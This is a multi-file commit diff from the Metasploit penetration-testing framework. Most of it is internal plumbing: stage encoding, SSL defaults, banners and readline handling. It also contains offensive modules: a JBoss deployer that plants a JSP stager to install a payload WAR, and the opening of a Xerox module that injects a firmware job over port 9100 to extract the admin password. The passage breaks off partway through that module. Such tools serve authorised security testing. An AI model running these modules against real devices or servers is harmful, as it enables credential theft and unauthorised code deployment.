
View File

@ -158,6 +158,18 @@ class EncodedPayload
next
end
# If the caller explictly requires register preservation, make sure
# that the module in question can handle it. This is mostly used by
# the stage encoder path.
if (reqs['ForceSaveRegisters'] and
reqs['EncoderOptions'] and
(reqs['EncoderOptions']['SaveRegisters'].to_s.length > 0) and
(! self.encoder.preserves_registers?))
wlog("#{pinst.refname}: Encoder #{encoder.refname} does not preserve registers and the caller needs #{reqs['EncoderOptions']['SaveRegisters']} preserved.",
'core', LEV_1)
next
end
# Import the datastore from payload (and likely exploit by proxy)
self.encoder.share_datastore(pinst.datastore)
@ -224,12 +236,10 @@ class EncodedPayload
self.encoded = eout
break
}
# If the encoded payload is nil, raise an exception saying that we
# suck at life.
if (self.encoded == nil)
self.encoder = nil
raise NoEncodersSucceededError,
"#{pinst.refname}: All encoders failed to encode.",
caller

View File

@ -413,6 +413,27 @@ class Encoder < Module
buf
end
#
# Determines whether the encoder can preserve registers at all
#
def preserves_registers?
false
end
#
# A list of registers always modified by the encoder
#
def modified_registers
[]
end
#
# Determines whether the encoder can preserve the stack frame
#
def preserves_stack?
false
end
protected
#

View File

@ -22,7 +22,8 @@ module Exploit::Remote::FtpServer
# Register the options that all FTP exploits may make use of.
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ])
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
OptPort.new('PASVPORT', [ false, "The local PASV data port to listen on (0 is random)", 0 ])
], Msf::Exploit::Remote::FtpServer)
end
@ -172,7 +173,7 @@ module Exploit::Remote::FtpServer
if(not @state[c][:passive_sock])
s = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
'LocalPort' => datastore['PASVPORT'].to_i,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)

View File

@ -64,7 +64,7 @@ module Exploit::Remote::Tcp
register_advanced_options(
[
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]),
OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]),
OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']),
Opt::Proxies,

View File

@ -18,7 +18,7 @@ module Exploit::Remote::TcpServer
register_options(
[
OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]),
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']),
OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),

View File

@ -16,6 +16,8 @@ module Msf::Payload::Stager
[
Msf::OptBool.new("EnableStageEncoding", [ false, "Encode the second stage payload", false ]),
Msf::OptString.new("StageEncoder", [ false, "Encoder to use if EnableStageEncoding is set", nil ]),
Msf::OptString.new("StageEncoderSaveRegisters", [ false, "Additional registers to preserve in the staged payload if EnableStageEncoding is set", "" ]),
Msf::OptBool.new("StageEncodingFallback", [ false, "Fallback to default encoders or no encoding if the selected StageEncoder is not compatible", true ])
], Msf::Payload::Stager)
end
@ -92,14 +94,12 @@ module Msf::Payload::Stager
true
end
#
# Whether to use an Encoder on the second stage
#
# @return [Boolean]
def encode_stage?
# Convert to string in case it hasn't been normalized
!!(datastore['EnableStageEncoding'].to_s == "true")
!!(datastore['EnableStageEncoding'])
end
#
@ -134,7 +134,18 @@ module Msf::Payload::Stager
p = generate_stage
# Encode the stage if stage encoding is enabled
p = encode_stage(p)
begin
p = encode_stage(p)
rescue ::RuntimeError
warning_msg = "Failed to stage"
warning_msg << " (#{conn.peerhost})" if conn.respond_to? :peerhost
warning_msg << ": #{$!}"
print_warning warning_msg
if conn.respond_to? :close && !conn.closed?
conn.close
end
return
end
# Give derived classes an opportunity to an intermediate state before
# the stage is sent. This gives derived classes an opportunity to
@ -196,30 +207,75 @@ module Msf::Payload::Stager
false
end
#
# Takes an educated guess at the list of registers an encoded stage
# would need to preserve based on the Convention
#
def encode_stage_preserved_registers
module_info['Convention'].to_s.scan(/\bsock([a-z]{3,}+)\b/).
map {|reg| reg.first }.
join(" ")
end
# Encodes the stage prior to transmission
# @return [String] Encoded version of +stg+
def encode_stage(stg)
return stg unless encode_stage?
stage_enc_mod = []
if datastore["StageEncoder"].nil? or datastore["StageEncoder"].empty?
stage_enc_mod = nil
else
stage_enc_mod = datastore["StageEncoder"]
# Handle StageEncoder if specified by the user
if datastore['StageEncoder'].to_s.length > 0
# Allow multiple encoders separated by commas
stage_enc_mod = datastore["StageEncoder"].split(',').map(&:strip).select{|x| x.to_s.length > 0}.uniq
end
# Generate an encoded version of the stage. We tell the encoding system
# to save edi to ensure that it does not get clobbered.
encp = Msf::EncodedPayload.create(
self,
'Raw' => stg,
'Encoder' => stage_enc_mod,
'SaveRegisters' => ['edi'],
'ForceEncode' => true)
print_status("Encoded stage with #{encp.encoder.refname}")
# Add automatic encoding as a fallback if needed
if datastore['StageEncodingFallback']
stage_enc_mod << nil
end
# If the encoding succeeded, use the encoded buffer. Otherwise, fall
# back to using the non-encoded stage
encp.encoded || stg
# If fallback has been disabled and no encoder was parsed, exit early and rop the session
if stage_enc_mod.length == 0
raise RuntimeError, "StageEncoder is invalid and StageEncodingFallback is disabled"
end
# Allow the user to specify additional registers to preserve
saved_registers = (
datastore['StageEncoderSaveRegisters'].to_s + " "
encode_stage_preserved_registers
).strip
estg = nil
stage_enc_mod.each do |encoder_refname_from_user|
# Generate an encoded version of the stage. We tell the encoding system
# to save certain registers to ensure that it does not get clobbered.
encp = Msf::EncodedPayload.create(
self,
'Raw' => stg,
'Encoder' => encoder_refname_from_user,
'EncoderOptions' => { 'SaveRegisters' => saved_registers },
'ForceSaveRegisters' => true,
'ForceEncode' => true)
if encp.encoder
print_status("Encoded stage with #{encp.encoder.refname}")
estg = encp.encoded
break
end
end
if datastore['StageEncodingFallback'] && estg.nil?
print_warning("StageEncoder failed, falling back to no encoding")
estg = stg
end
unless estg
raise RuntimeError, "Stage encoding failed and StageEncodingFallback is disabled"
end
estg
end
# Aliases

View File

@ -1,5 +1,6 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows'
module Msf

View File

@ -9,31 +9,23 @@ module Ui
###
module Banner
Logos =
%w{
branded-longhorn.txt
cow-head.txt
cowsay.txt
figlet.txt
i-heart-shells.txt
metasploit-shield.txt
missile-command.txt
ninja.txt
null-pointer-deref.txt
r7-metasploit.txt
wake-up-neo.txt
workflow.txt
3kom-superhack.txt
metasploit-park.txt
}
#
# Returns a random metasploit logo.
# Returns a specific metasploit logo. If the specified file is a relative path
# then the file will be searched for first in the included local directory,
# then in the user-specific directory.
#
def self.readfile(fname)
base = File.expand_path(File.dirname(__FILE__))
pathname = File.join(base, "logos", fname)
fdata = "<< Missing banner: #{fname} >>"
pathname = fname
unless File.absolute_path(pathname) == pathname
if File.readable?(File.join(::Msf::Config.logos_directory, fname))
pathname = File.join(::Msf::Config.logos_directory, fname)
elsif File.readable?(File.join(::Msf::Config.user_logos_directory, fname))
pathname = File.join(::Msf::Config.user_logos_directory, fname)
end
end
fdata = "<< Missing banner: #{pathname} >>"
begin
raise ArgumentError unless File.readable?(pathname)
raise ArgumentError unless File.stat(pathname).size < 4096
@ -45,22 +37,23 @@ module Banner
end
def self.to_s
return self.readfile ENV['MSFLOGO'] if ENV['MSFLOGO']
logos = []
# Easter egg (always a cow themed logo): export/set GOCOW=1
if ENV['GOCOW']
case rand(3)
when 0
# branded-longhorn
self.readfile Logos[0]
when 1
# cow-head
self.readfile Logos[1]
else
# cowsay
self.readfile Logos[2]
end
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + 'cow*.txt'))
# Easter egg (always a halloween themed logo): export/set THISISHALLOWEEN=1
elsif ( ENV['THISISHALLOWEEN'] || Time.now.strftime("%m%d") == "1031" )
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.hwtxt'))
else
self.readfile Logos[rand(Logos.length)]
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.txt'))
logos.concat(Dir.glob(::Msf::Config.user_logos_directory + File::SEPARATOR + '*.txt'))
end
logos = logos.map { |f| File.absolute_path(f) }
self.readfile logos[rand(logos.length)]
end
end

View File

@ -54,21 +54,7 @@ class Driver < Msf::Ui::Driver
# @option opts [Boolean] 'SkipDatabaseInit' (false) Whether to skip
# connecting to the database and running migrations
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
# Choose a readline library before calling the parent
rl = false
rl_err = nil
begin
if(opts['RealReadline'])
require 'readline'
rl = true
end
rescue ::LoadError
rl_err = $!
end
# Default to the RbReadline wrapper
require 'readline_compatible' if(not rl)
choose_readline(opts)
histfile = opts['HistFile'] || Msf::Config.history_file
@ -112,9 +98,9 @@ class Driver < Msf::Ui::Driver
enstack_dispatcher(CommandDispatcher::Core)
# Report readline error if there was one..
if not rl_err.nil?
if !@rl_err.nil?
print_error("***")
print_error("* WARNING: Unable to load readline: #{rl_err}")
print_error("* WARNING: Unable to load readline: #{@rl_err}")
print_error("* Falling back to RbReadLine")
print_error("***")
end
@ -719,6 +705,43 @@ protected
set_log_level(Msf::LogSource, val)
end
# Require the appropriate readline library based on the user's preference.
#
# @return [void]
def choose_readline(opts)
# Choose a readline library before calling the parent
@rl_err = nil
if opts['RealReadline']
# Remove the gem version from load path to be sure we're getting the
# stdlib readline.
gem_dir = Gem::Specification.find_all_by_name('rb-readline').first.gem_dir
rb_readline_path = File.join(gem_dir, "lib")
index = $LOAD_PATH.index(rb_readline_path)
# Bundler guarantees that the gem will be there, so it should be safe to
# assume we found it in the load path, but check to be on the safe side.
if index
$LOAD_PATH.delete_at(index)
end
end
begin
require 'readline'
rescue ::LoadError => e
if @rl_err.nil? && index
# Then this is the first time the require failed and we have an index
# for the gem version as a fallback.
@rl_err = e
# Put the gem back and see if that works
$LOAD_PATH.insert(index, rb_readline_path)
index = rb_readline_path = nil
retry
else
# Either we didn't have the gem to fall back on, or we failed twice.
# Nothing more we can do here.
raise e
end
end
end
end
#
@ -731,6 +754,7 @@ class DefangedException < ::Exception
end
end
end
end
end

View File

@ -1,6 +0,0 @@
# -*- coding: binary -*-
here = File.expand_path(File.dirname(__FILE__))
puts "Hi I live #{here}!"

View File

@ -558,7 +558,7 @@ require 'msf/core/exe/segment_injector'
"\x8D\x85#{[svcmain_code_offset].pack('<I')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
"{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
"#{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
"\x85#{[svcctrlhandler_code_offset].pack('<I')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
@ -568,7 +568,7 @@ require 'msf/core/exe/segment_injector'
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('<I')}\x57\x51\x68\xAE\x87" +
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
"{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
"#{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +

File diff suppressed because it is too large Load Diff

View File

@ -1,554 +0,0 @@
# readline.rb -- GNU Readline module
# Copyright (C) 1997-2001 Shugo Maed
#
# Ruby translation by Park Heesob phasis@gmail.com
=begin
Copyright (c) 2009, Park Heesob
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Park Heesob nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
=end
require 'windows_console_color_support'
module Readline
require 'rbreadline'
include RbReadline
@completion_proc = nil
@completion_case_fold = false
#
# A sneaky way to prevent the real Readline from loading after us
#
$LOADED_FEATURES.unshift("readline.rb")
# Begins an interactive terminal process using +prompt+ as the command
# prompt that users see when they type commands. The method returns the
# line entered whenever a carriage return is encountered.
#
# If an +add_history+ argument is provided, commands entered by users are
# stored in a history buffer that can be recalled for later use.
#
# Note that this method depends on $stdin and $stdout both being open.
# Because this is meant as an interactive console interface, they should
# generally not be redirected.
#
# Example:
#
# loop{ Readline.readline('> ') }
#
def readline(prompt, add_history=nil)
if $stdin.closed?
raise IOError, "stdin closed"
end
status = 0
begin
RbReadline.rl_instream = $stdin
RbReadline.rl_outstream = $stdout
if (Rex::Compat.is_windows)
RbReadline.rl_outstream = WindowsConsoleColorSupport.new($stdout)
end
buff = RbReadline.readline(prompt)
rescue ::Interrupt
raise $!
rescue Exception => e
buff = nil
RbReadline.rl_cleanup_after_signal()
RbReadline.rl_deprep_terminal()
$stderr.puts "[-] RbReadline Error: #{e.class} #{e} #{e.backtrace}"
retry
end
if add_history && buff
RbReadline.add_history(buff)
end
return buff ? buff.dup : nil
end
# Sets the input stream (an IO object) for readline interaction. The
# default is <tt>$stdin</tt>.
#
def self.input=(input)
RbReadline.rl_instream = input
end
# Sets the output stream (an IO object) for readline interaction. The
# default is <tt>$stdout</tt>.
#
def self.output=(output)
RbReadline.rl_outstream = output
end
# Sets the auto-completion procedure (i.e. tab auto-complete).
#
# The +proc+ argument is typically a Proc object. It must respond to
# <tt>.call</tt>, take a single String argument and return an Array of
# candidates for completion.
#
# Example:
#
# list = ['search', 'next', 'clear']
# Readline.completion_proc = proc{ |s| list.grep( /^#{Regexp.escape(s)}/) }
#
def self.completion_proc=(proc)
unless defined? proc.call
raise ArgumentError,"argument must respond to `call'"
end
@completion_proc = proc
end
# Returns the current auto-completion procedure.
#
def self.completion_proc()
@completion_proc
end
# Sets whether or not the completion proc should ignore case sensitivity.
# The default is false, i.e. completion procs are case sensitive.
#
def self.completion_case_fold=(bool)
@completion_case_fold = bool
end
# Returns whether or not the completion proc is case sensitive. The
# default is false, i.e. completion procs are case sensitive.
#
def self.completion_case_fold()
@completion_case_fold
end
def self.readline_attempted_completion_function(text,start,_end)
proc = @completion_proc
return nil if proc.nil?
RbReadline.rl_attempted_completion_over = true
# Remove leading spaces
text.gsub!(/^\s+/, '')
case_fold = @completion_case_fold
ary = proc.call(text)
if ary.class != Array
ary = Array(ary)
else
ary.compact!
ary.uniq!
end
ary.delete('')
matches = ary.length
return nil if (matches == 0)
if(matches == 1)
ary[0] = ary[0].strip + " "
end
result = Array.new(matches+2)
for i in 0 ... matches
result[i+1] = ary[i].dup
end
result[matches+1] = nil
if(matches==1)
result[0] = result[1].dup
else
i = 1
low = 100000
while (i < matches)
if (case_fold)
si = 0
while ((c1 = result[i][si,1].downcase) &&
(c2 = result[i + 1][si,1].downcase))
break if (c1 != c2)
si += 1
end
else
si = 0
while ((c1 = result[i][si,1]) &&
(c2 = result[i + 1][si,1]))
break if (c1 != c2)
si += 1
end
end
if (low > si)
low = si
end
i+=1
end
result[0] = result[1][0,low]
end
result
end
# Sets vi editing mode.
#
def self.vi_editing_mode()
RbReadline.rl_vi_editing_mode(1,0)
nil
end
# Sets emacs editing mode
#
def self.emacs_editing_mode()
RbReadline.rl_emacs_editing_mode(1,0)
nil
end
# Sets the character that is automatically appended after the
# Readline.completion_proc method is called.
#
# If +char+ is nil or empty, then a null character is used.
#
def self.completion_append_character=(char)
if char.nil?
RbReadline.rl_completion_append_character = ?\0
elsif char.length==0
RbReadline.rl_completion_append_character = ?\0
else
RbReadline.rl_completion_append_character = char[0]
end
end
# Returns the character that is automatically appended after the
# Readline.completion_proc method is called.
#
def self.completion_append_character()
if RbReadline.rl_completion_append_character == ?\0
nil
end
return RbReadline.rl_completion_append_character
end
# Sets the character string that signal a break between words for the
# completion proc.
#
def self.basic_word_break_characters=(str)
RbReadline.rl_basic_word_break_characters = str.dup
end
# Returns the character string that signal a break between words for the
# completion proc. The default is " \t\n\"\\'`@$><=|&{(".
#
def self.basic_word_break_characters()
if RbReadline.rl_basic_word_break_characters.nil?
nil
else
RbReadline.rl_basic_word_break_characters.dup
end
end
# Sets the character string that signal the start or end of a word for
# the completion proc.
#
def self.completer_word_break_characters=(str)
RbReadline.rl_completer_word_break_characters = str.dup
end
# Returns the character string that signal the start or end of a word for
# the completion proc.
#
def self.completer_word_break_characters()
if RbReadline.rl_completer_word_break_characters.nil?
nil
else
RbReadline.rl_completer_word_break_characters.dup
end
end
# Sets the list of quote characters that can cause a word break.
#
def self.basic_quote_characters=(str)
RbReadline.rl_basic_quote_characters = str.dup
end
# Returns the list of quote characters that can cause a word break.
# The default is "'\"" (single and double quote characters).
#
def self.basic_quote_characters()
if RbReadline.rl_basic_quote_characters.nil?
nil
else
RbReadline.rl_basic_quote_characters.dup
end
end
# Sets the list of characters that can be used to quote a substring of
# the line, i.e. a group of characters within quotes.
#
def self.completer_quote_characters=(str)
RbReadline.rl_completer_quote_characters = str.dup
end
# Returns the list of characters that can be used to quote a substring
# of the line, i.e. a group of characters inside quotes.
#
def self.completer_quote_characters()
if RbReadline.rl_completer_quote_characters.nil?
nil
else
RbReadline.rl_completer_quote_characters.dup
end
end
# Sets the character string of one or more characters that indicate quotes
# for the filename completion of user input.
#
def self.filename_quote_characters=(str)
RbReadline.rl_filename_quote_characters = str.dup
end
# Returns the character string used to indicate quotes for the filename
# completion of user input.
#
def self.filename_quote_characters()
if RbReadline.rl_filename_quote_characters.nil?
nil
else
RbReadline.rl_filename_quote_characters.dup
end
end
# The History class encapsulates a history of all commands entered by
# users at the prompt, providing an interface for inspection and retrieval
# of all commands.
class History
extend Enumerable
# The History class, stringified in all caps.
#--
# Why?
#
def self.to_s
"HISTORY"
end
# Returns the command that was entered at the specified +index+
# in the history buffer.
#
# Raises an IndexError if the entry is nil.
#
def self.[](index)
if index < 0
index += RbReadline.history_length
end
entry = RbReadline.history_get(RbReadline.history_base+index)
if entry.nil?
raise IndexError,"invalid index"
end
entry.line.dup
end
# Sets the command +str+ at the given index in the history buffer.
#
# You can only replace an existing entry. Attempting to create a new
# entry will result in an IndexError.
#
def self.[]=(index,str)
if index<0
index += RbReadline.history_length
end
entry = RbReadline.replace_history_entry(index,str,nil)
if entry.nil?
raise IndexError,"invalid index"
end
str
end
# Synonym for Readline.add_history.
#
def self.<<(str)
RbReadline.add_history(str)
end
# Pushes a list of +args+ onto the history buffer.
#
def self.push(*args)
args.each do |str|
RbReadline.add_history(str)
end
end
# Internal function that removes the item at +index+ from the history
# buffer, performing necessary duplication in the process.
#--
# TODO: mark private?
#
def self.rb_remove_history(index)
entry = RbReadline.remove_history(index)
if (entry)
val = entry.line.dup
entry = nil
return val
end
nil
end
# Removes and returns the last element from the history buffer.
#
def self.pop()
if RbReadline.history_length>0
rb_remove_history(RbReadline.history_length-1)
else
nil
end
end
# Removes and returns the first element from the history buffer.
#
def self.shift()
if RbReadline.history_length>0
rb_remove_history(0)
else
nil
end
end
# Iterates over each entry in the history buffer.
#
def self.each()
for i in 0 ... RbReadline.history_length
entry = RbReadline.history_get(RbReadline.history_base + i)
break if entry.nil?
yield entry.line.dup
end
self
end
# Returns the length of the history buffer.
#
def self.length()
RbReadline.history_length
end
# Synonym for Readline.length.
#
def self.size()
RbReadline.history_length
end
# Returns a bolean value indicating whether or not the history buffer
# is empty.
#
def self.empty?()
RbReadline.history_length == 0
end
# Deletes an entry from the histoyr buffer at the specified +index+.
#
def self.delete_at(index)
if index < 0
i += RbReadline.history_length
end
if index < 0 || index > RbReadline.history_length - 1
raise IndexError, "invalid index"
end
rb_remove_history(index)
end
end
HISTORY = History
# The Fcomp class provided to encapsulate typical filename completion
# procedure. You will not typically use this directly, but will instead
# use the Readline::FILENAME_COMPLETION_PROC.
#
class Fcomp
def self.call(str)
matches = RbReadline.rl_completion_matches(str,
:rl_filename_completion_function)
if (matches)
result = []
i = 0
while(matches[i])
result << matches[i].dup
matches[i] = nil
i += 1
end
matches = nil
if (result.length >= 2)
result.shift
end
else
result = nil
end
return result
end
end
FILENAME_COMPLETION_PROC = Fcomp
# The Ucomp class provided to encapsulate typical filename completion
# procedure. You will not typically use this directly, but will instead
# use the Readline::USERNAME_COMPLETION_PROC.
#
# Note that this feature currently only works on Unix systems since it
# ultimately uses the Etc module to iterate over a list of users.
#
class Ucomp
def self.call(str)
matches = RbReadline.rl_completion_matches(str,
:rl_username_completion_function)
if (matches)
result = []
i = 0
while(matches[i])
result << matches[i].dup
matches[i] = nil
i += 1
end
matches = nil
if (result.length >= 2)
result.shift
end
else
result = nil
end
return result
end
end
USERNAME_COMPLETION_PROC = Ucomp
RbReadline.rl_readline_name = "Ruby"
RbReadline.using_history()
VERSION = RbReadline.rl_library_version
module_function :readline
RbReadline.rl_attempted_completion_function = :readline_attempted_completion_function
end

View File

@ -520,6 +520,22 @@ module X86
return nil
end
#
# Parse a list of registers as a space or command delimited
# string and return the internal register IDs as an array
#
def self.register_names_to_ids(str)
register_ids = []
str.to_s.strip.split(/[,\s]/).
map {|reg| reg.to_s.strip.upcase }.
select {|reg| reg.length > 0 }.
uniq.each do |reg|
next unless self.const_defined?(reg.intern)
register_ids << self.const_get(reg.intern)
end
register_ids
end
end
end end

View File

@ -20,11 +20,7 @@ begin
#
def initialize(tab_complete_proc = nil)
if(not Object.const_defined?('Readline'))
begin
require 'readline'
rescue ::LoadError
require 'readline_compatible'
end
require 'readline'
end
self.extend(::Readline)

View File

@ -74,6 +74,10 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'packetfu', '1.1.9'
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
spec.add_runtime_dependency 'railties'
# required for OS fingerprinting
spec.add_runtime_dependency 'recog', '~> 1.0'
# read... lines...
spec.add_runtime_dependency 'rb-readline'
# Needed by anemone crawler
spec.add_runtime_dependency 'robots'
# Needed by some modules
@ -82,6 +86,4 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'sqlite3'
# required for Time::TZInfo in ActiveSupport
spec.add_runtime_dependency 'tzinfo'
# required for OS fingerprinting
spec.add_runtime_dependency 'recog', '~> 1.0'
end

View File

@ -41,12 +41,11 @@ class Metasploit3 < Msf::Auxiliary
[
Opt::RPORT(8080),
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
OptString.new('STAGERNAME', [ false, 'Only used if VERB is not POST', 'stager']),
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
], self.class)
end
def deploy_action(app_base, stager_name, war_data)
def deploy_action(app_base, war_data)
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
if http_verb == 'POST'
@ -57,6 +56,7 @@ class Metasploit3 < Msf::Auxiliary
}
else
print_status("#{peer} - Deploying stager...")
stager_name = Rex::Text.rand_text_alpha(8 + rand(8))
stager_contents = stager_jsp(app_base)
opts = {
:dir => "#{stager_name}.war",
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary
unless http_verb == 'POST'
# call the stager to deploy our real payload war
stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
print_status("#{peer} - Calling stager #{stager_uri} to deploy final payload...")
res = deploy('method' => 'POST',
'data' => payload_data,
@ -88,19 +88,28 @@ class Metasploit3 < Msf::Auxiliary
else
print_error("#{peer} - Failed to deploy final payload")
end
# Remove the stager
print_status("#{peer} - Removing stager...")
files = {}
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
files[:stager_base] = "#{stager_name}.war"
delete_script = generate_bsh(:delete, files)
res = deploy_package(delete_script, package)
if res.nil?
print_error("#{peer} - Unable to remove Stager")
else
print_good("#{peer} - Stager successfully removed")
end
end
end
def undeploy_action(app_base, stager_name)
def undeploy_action(app_base)
# Undeploy the WAR and the stager if needed
print_status("#{peer} - Undeploying #{app_base} by deleting the WAR file via BSHDeployer...")
files = {}
unless stager_name.nil?
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
files[:stager_base] = "#{stager_name}.war"
end
files[:app_base] = "#{app_base}.war"
delete_script = generate_bsh(:delete, files)
@ -114,12 +123,6 @@ class Metasploit3 < Msf::Auxiliary
def run
app_base = datastore['APPBASE']
if http_verb == 'POST'
stager_name = nil
else
stager_name = datastore['STAGERNAME']
stager_name = "stager" if stager_name.blank?
end
case action.name
when 'Deploy'
@ -127,9 +130,9 @@ class Metasploit3 < Msf::Auxiliary
print_error("WAR file not found")
end
war_data = File.read(datastore['WARFILE'])
deploy_action(app_base, stager_name, war_data)
deploy_action(app_base, war_data)
when 'Undeploy'
undeploy_action(app_base, stager_name)
undeploy_action(app_base)
end
end
end

View File

@ -0,0 +1,190 @@
#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Xerox Administrator Console Password Extractor',
'Description' => %q{
This module will extract the management console's admin password from the
Xerox file system using firmware bootstrap injection.
},
'Author' =>
[
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi'
],
'License' => MSF_LICENSE
))
register_options(
[
OptPort.new('RPORT', [true, 'Web management console port for the printer', 80]),
OptPort.new('JPORT', [true, 'Jetdirect port', 9100]),
OptInt.new('TIMEOUT', [true, 'Timeout to wait for printer job to run', 45])
], self.class)
end
def jport
datastore['JPORT']
end
# Time to start the fun
def run
print_status("#{rhost}:#{jport} - Attempting to extract the web consoles admin password...")
return unless write
print_status("#{rhost}:#{jport} - Waiting #{datastore['TIMEOUT']} seconds...")
sleep(datastore['TIMEOUT'])
passwd = retrieve
remove
if passwd
print_good("#{rhost}:#{jport} - Password found: #{passwd}")
loot_name = 'xerox.password'
loot_type = 'text/plain'
loot_filename = 'xerox_password.text'
loot_desc = 'Xerox password harvester'
p = store_loot(loot_name, loot_type, datastore['RHOST'], passwd, loot_filename, loot_desc)
print_status("#{rhost}:#{jport} - Credentials saved in: #{p}")
register_creds('Xerox-HTTP', rhost, rport, 'Admin', passwd)
else
print_error("#{rhost}:#{jport} - No credentials extracted")
end
end
#Trigger firmware bootstrap write out password data to URL root
def write
print_status("#{rhost}:#{jport} - Sending print job")
create_print_job = '%%XRXbegin' + "\x0a"
create_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0a"
create_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0a"
create_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0a"
create_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0a"
create_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0a"
create_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0a"
